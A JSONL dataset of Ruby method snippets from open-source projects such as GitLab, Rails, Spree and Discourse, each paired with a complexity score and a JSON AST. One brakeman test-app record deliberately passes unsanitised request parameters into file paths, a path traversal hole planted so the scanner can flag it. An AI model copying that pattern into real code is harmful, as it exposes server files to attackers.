{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/container_registry/blob.rb","start_line":18,"raw_source":"def path\n      \"#{repository.path}@#{digest}\"\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repository\"]},\"path\"]}]},{\"type\":\"str\",\"children\":[\"@\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"digest\"]}]}]}]}","id":"ca2123b6-da2b-48e6-8800-1c6248b060d1"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/log_subscriber_test.rb","start_line":146,"raw_source":"def test_halted_callback\n    get :never_executed\n    assert_equal 4, logs.size\n    assert_equal \"Filter chain halted as :redirector rendered or redirected\", logs.third\n  end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_halted_callback\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"never_executed\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[4]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logs\"]},\"size\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Filter chain halted as :redirector rendered or redirected\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logs\"]},\"third\"]}]}]}]}","id":"3a4c7515-2965-4f7b-8f15-6f6c649af46f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/webauthn/destroy_service.rb","start_line":32,"raw_source":"def authorized?\n      current_user.can?(:disable_two_factor, user)\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"authorized?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"can?\",{\"type\":\"sym\",\"children\":[\"disable_two_factor\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]}]}","id":"7fefffd8-5c78-4c1e-aa6b-f94196c59c11"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_request_single.rb","start_line":49,"raw_source":"def teardown\n    @wr&.close\n    @rd&.close\n    @parser = nil\n    @client = nil\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"teardown\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@wr\"]},\"close\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@rd\"]},\"close\"]},{\"type\":\"ivasgn\",\"children\":[\"@parser\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@client\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"755bee1d-6de9-47e1-b670-e202e1fcd02e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/listbox_helpers.rb","start_line":30,"raw_source":"def expect_listbox_item(text)\n    expect(page).to have_css('.gl-new-dropdown-item[role=\"option\"]', text: text)\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_listbox_item\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\".gl-new-dropdown-item[role=\\\"option\\\"]\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"text\"]}]}]}]}]}]}","id":"c329e824-dd27-43f9-a83f-73d905d0d87d"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_helper_test.rb","start_line":1017,"raw_source":"def test_textarea_placeholder_with_locales_and_nested_attributes\n    I18n.with_locale :placeholder do\n      form_for(@post, html: { id: \"create-post\" }) do |f|\n        f.fields_for(:comments) do |cf|\n          concat cf.textarea(:body, placeholder: true)\n        end\n      end\n\n      expected = whole_form(\"/posts/123\", \"create-post\", \"edit_post\", method: \"patch\") do\n        %{<textarea id=\"post_comments_attributes_0_body\" name=\"post[comments_attributes][0][body]\" placeholder=\"Write body here\">\\n</textarea>}\n      end\n\n      assert_dom_equal expected, @rendered\n    end\n  end","complexity_score":14.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_textarea_placeholder_with_locales_and_nested_attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"with_locale\",{\"type\":\"sym\",\"children\":[\"placeholder\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"form_for\",{\"type\":\"ivar\",\"children\":[\"@post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"html\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"create-post\"]}]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"fields_for\",{\"type\":\"sym\",\"children\":[\"comments\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cf\"]}]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cf\"]},\"textarea\",{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"placeholder\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"whole_form\",{\"type\":\"str\",\"children\":[\"/posts/123\"]},{\"type\":\"str\",\"children\":[\"create-post\"]},{\"type\":\"str\",\"children\":[\"edit_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"patch\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"<textarea id=\\\"post_comments_attributes_0_body\\\" name=\\\"post[comments_attributes][0][body]\\\" placeholder=\\\"Write body here\\\">\\n</textarea>\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"ivar\",\"children\":[\"@rendered\"]}]}]}]}]}","id":"aeb1e505-f1ab-47e2-b30d-eb9de7e492cb"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/jobs/spree/imports/process_rows_job.rb","start_line":6,"raw_source":"def perform(import_id)\n        import = Spree::Import.find(import_id)\n\n        # process all rows in sequential order\n        import.rows.pending_and_failed.find_each(batch_size: 100) do |row|\n          row.process!\n        end\n\n        # mark as complete\n        import.complete!\n      end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"import_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"import\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Import\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"import_id\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"import\"]},\"rows\"]},\"pending_and_failed\"]},\"find_each\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"batch_size\"]},{\"type\":\"int\",\"children\":[100]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"process!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"import\"]},\"complete!\"]}]}]}","id":"99c49baa-3ddb-40a3-9703-1966715ddb7f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/groups/children_controller.rb","start_line":43,"raw_source":"def parent\n      return @group unless params[:parent_id].present?\n\n      GroupFinder.new(current_user).execute(id: params[:parent_id])\n    end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"parent\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"parent_id\"]}]},\"present?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@group\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GroupFinder\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},\"execute\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"parent_id\"]}]}]}]}]}]}]}","id":"69a80c07-d3bc-4599-9e95-bc8844348467"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/plugins/nexpose.rb","start_line":690,"raw_source":"def to_json(*_args)\n      if @to.present?\n        \"#{@from} - #{@to}\".to_json\n      else\n        @from.to_json\n      end\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"to_json\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"_args\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@to\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@from\"]}]},{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@to\"]}]}]},\"to_json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@from\"]},\"to_json\"]}]}]}","id":"b49a6e34-d58e-43f6-b1d9-be938404eeeb"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/spec/models/service_template_provision_task_spec.rb","start_line":30,"raw_source":"def create_stp(description, state = 'pending', prov_index = nil, scaling_max = nil)\n      if prov_index && scaling_max\n        options = {:service_resource_id => service_resource_id(prov_index, scaling_max)}\n      else\n        options = {}\n      end\n      FactoryBot.create(:service_template_provision_task,\n                         :description    => description,\n                         :userid         => @admin.userid,\n                         :state          => state,\n                         :miq_request_id => @request.id,\n                         :options        => options)\n    end","complexity_score":11.7,"ast_json":"{\"type\":\"def\",\"children\":[\"create_stp\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"description\"]},{\"type\":\"optarg\",\"children\":[\"state\",{\"type\":\"str\",\"children\":[\"pending\"]}]},{\"type\":\"optarg\",\"children\":[\"prov_index\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"scaling_max\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prov_index\"]},{\"type\":\"lvar\",\"children\":[\"scaling_max\"]}]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_resource_id\"]},{\"type\":\"send\",\"children\":[null,\"service_resource_id\",{\"type\":\"lvar\",\"children\":[\"prov_index\"]},{\"type\":\"lvar\",\"children\":[\"scaling_max\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FactoryBot\"]},\"create\",{\"type\":\"sym\",\"children\":[\"service_template_provision_task\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"lvar\",\"children\":[\"description\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"userid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@admin\"]},\"userid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"lvar\",\"children\":[\"state\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"miq_request_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"options\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}]}","id":"33c394b8-2580-4281-85b9-881f32032183"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/migration.rb","start_line":1159,"raw_source":"def format_arguments(arguments)\n        arg_list = arguments[0...-1].map(&:inspect)\n        last_arg = arguments.last\n        if last_arg.is_a?(Hash)\n          last_arg = last_arg.reject { |k, _v| internal_option?(k) }\n          arg_list << last_arg.inspect unless last_arg.empty?\n        else\n          arg_list << last_arg.inspect\n        end\n        arg_list.join(\", \")\n      end","complexity_score":21.9,"ast_json":"{\"type\":\"def\",\"children\":[\"format_arguments\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arguments\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"arg_list\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arguments\"]},\"[]\",{\"type\":\"erange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[-1]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"inspect\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"last_arg\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arguments\"]},\"last\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last_arg\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"last_arg\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last_arg\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"_v\"]}]},{\"type\":\"send\",\"children\":[null,\"internal_option?\",{\"type\":\"lvar\",\"children\":[\"k\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last_arg\"]},\"empty?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg_list\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last_arg\"]},\"inspect\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg_list\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last_arg\"]},\"inspect\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg_list\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}","id":"0bc5509a-a3da-48d5-85c8-36bd60a91576"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/plugin/metadata.rb","start_line":119,"raw_source":"def self.parse(text)\n    metadata = self.new\n    text.each_line { |line| break unless metadata.parse_line(line) }\n    metadata\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"parse\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"metadata\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"new\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"each_line\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metadata\"]},\"parse_line\",{\"type\":\"lvar\",\"children\":[\"line\"]}]},null,{\"type\":\"break\",\"children\":[]}]}]},{\"type\":\"lvar\",\"children\":[\"metadata\"]}]}]}","id":"d8a518a4-d598-4ba8-857d-a1b3358db36b"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/apps/rails7/app/controllers/application_controller.rb","start_line":26,"raw_source":"def pathname_stuff\n    z = Pathname.new('a').join(params[:x], 'z').basename # should warn\n    something(z) # should not be a duplicate warning\n\n    Rails.root.join('a', 'b', \"#{params[:c]}\") # should warn\n  end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"pathname_stuff\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"z\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pathname\"]},\"new\",{\"type\":\"str\",\"children\":[\"a\"]}]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"x\"]}]},{\"type\":\"str\",\"children\":[\"z\"]}]},\"basename\"]}]},{\"type\":\"send\",\"children\":[null,\"something\",{\"type\":\"lvar\",\"children\":[\"z\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]},\"join\",{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"str\",\"children\":[\"b\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"c\"]}]}]}]}]}]}]}","id":"067f4be8-698a-480d-937c-5b27f707c98f"}
{"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/storefront/posts_controller.rb","start_line":12,"raw_source":"def collection\n            @collection ||= collection_finder.new(scope: scope, params: finder_params).execute\n          end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"collection\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@collection\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"collection_finder\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"send\",\"children\":[null,\"scope\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"send\",\"children\":[null,\"finder_params\"]}]}]}]},\"execute\"]}]}]}","id":"5292bebb-23f6-4a52-ab71-1325c2c1282c"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/topics_controller.rb","start_line":600,"raw_source":"def make_banner\n    topic = Topic.find_by(id: params[:topic_id].to_i)\n    guardian.ensure_can_banner_topic!(topic)\n\n    topic.make_banner!(current_user)\n\n    render body: nil\n  end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"make_banner\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"topic_id\"]}]},\"to_i\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"guardian\"]},\"ensure_can_banner_topic!\",{\"type\":\"lvar\",\"children\":[\"topic\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"make_banner!\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}","id":"5f06df99-8463-4904-ac3c-abea30e5fd71"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/orders/return_authorizations_controller.rb","start_line":79,"raw_source":"def object_url(object = nil, options = {})\n          target = object || @object\n\n          spree.admin_order_return_authorization_url(@order, target, options)\n        end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"object_url\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"object\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"target\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},{\"type\":\"ivar\",\"children\":[\"@object\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spree\"]},\"admin_order_return_authorization_url\",{\"type\":\"ivar\",\"children\":[\"@order\"]},{\"type\":\"lvar\",\"children\":[\"target\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"0bc82a1e-0b3a-4374-ad17-3df40a0f83fb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/stub_configuration.rb","start_line":155,"raw_source":"def stub_maintenance_mode_setting(value)\n    allow(Gitlab::CurrentSettings).to receive(:current_application_settings?).and_return(true)\n\n    stub_application_setting(maintenance_mode: value)\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_maintenance_mode_setting\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CurrentSettings\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"current_application_settings?\"]}]},\"and_return\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"stub_application_setting\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"maintenance_mode\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}]}","id":"fb97801d-8800-4000-a510-002d258cb0c0"}
{"repo_name":"spree","file_path":"./repos/spree/core/lib/spree/core/dependencies_helper.rb","start_line":3,"raw_source":"def self.included(base)\n      injection_points = base::INJECTION_POINTS_WITH_DEFAULTS.keys.freeze\n      base.const_set(:INJECTION_POINTS, injection_points)\n      base.attr_accessor(*injection_points)\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"included\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"injection_points\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"INJECTION_POINTS_WITH_DEFAULTS\"]},\"keys\"]},\"freeze\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"const_set\",{\"type\":\"sym\",\"children\":[\"INJECTION_POINTS\"]},{\"type\":\"lvar\",\"children\":[\"injection_points\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"attr_accessor\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"injection_points\"]}]}]}]}]}","id":"beeaff8a-19cb-49cb-88d8-219f1d3293f5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/background_migration/delete_orphaned_ci_runner_machine_records_on_self_managed_spec.rb","start_line":68,"raw_source":"def create_runner_and_runner_manager(**attrs)\n    runner = runners.create!(**attrs.except(:id, :system_xid))\n    runner_managers.create!(runner_id: runner.id, **attrs)\n  end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"create_runner_and_runner_manager\",{\"type\":\"args\",\"children\":[{\"type\":\"kwrestarg\",\"children\":[\"attrs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"runner\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"runners\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"except\",{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"system_xid\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"runner_managers\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"runner_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"runner\"]},\"id\"]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]}]}]}]}]}]}","id":"ca46c9d6-ca3b-41a0-9819-94b9a55eef87"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/snapshot/lib/snapshot/runner.rb","start_line":87,"raw_source":"def clear_previous_screenshots\n      UI.important(\"Clearing previously generated screenshots\")\n      path = File.join(Snapshot.config[:output_directory], \"*\", \"*.png\")\n      Dir[path].each do |current|\n        UI.verbose(\"Deleting #{current}\")\n        File.delete(current)\n      end\n    end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"clear_previous_screenshots\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"important\",{\"type\":\"str\",\"children\":[\"Clearing previously generated screenshots\"]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Snapshot\"]},\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"output_directory\"]}]},{\"type\":\"str\",\"children\":[\"*\"]},{\"type\":\"str\",\"children\":[\"*.png\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"current\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"verbose\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Deleting \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"delete\",{\"type\":\"lvar\",\"children\":[\"current\"]}]}]}]}]}]}","id":"b0609b78-6ec5-4e3f-8b3e-d18c33557db3"}
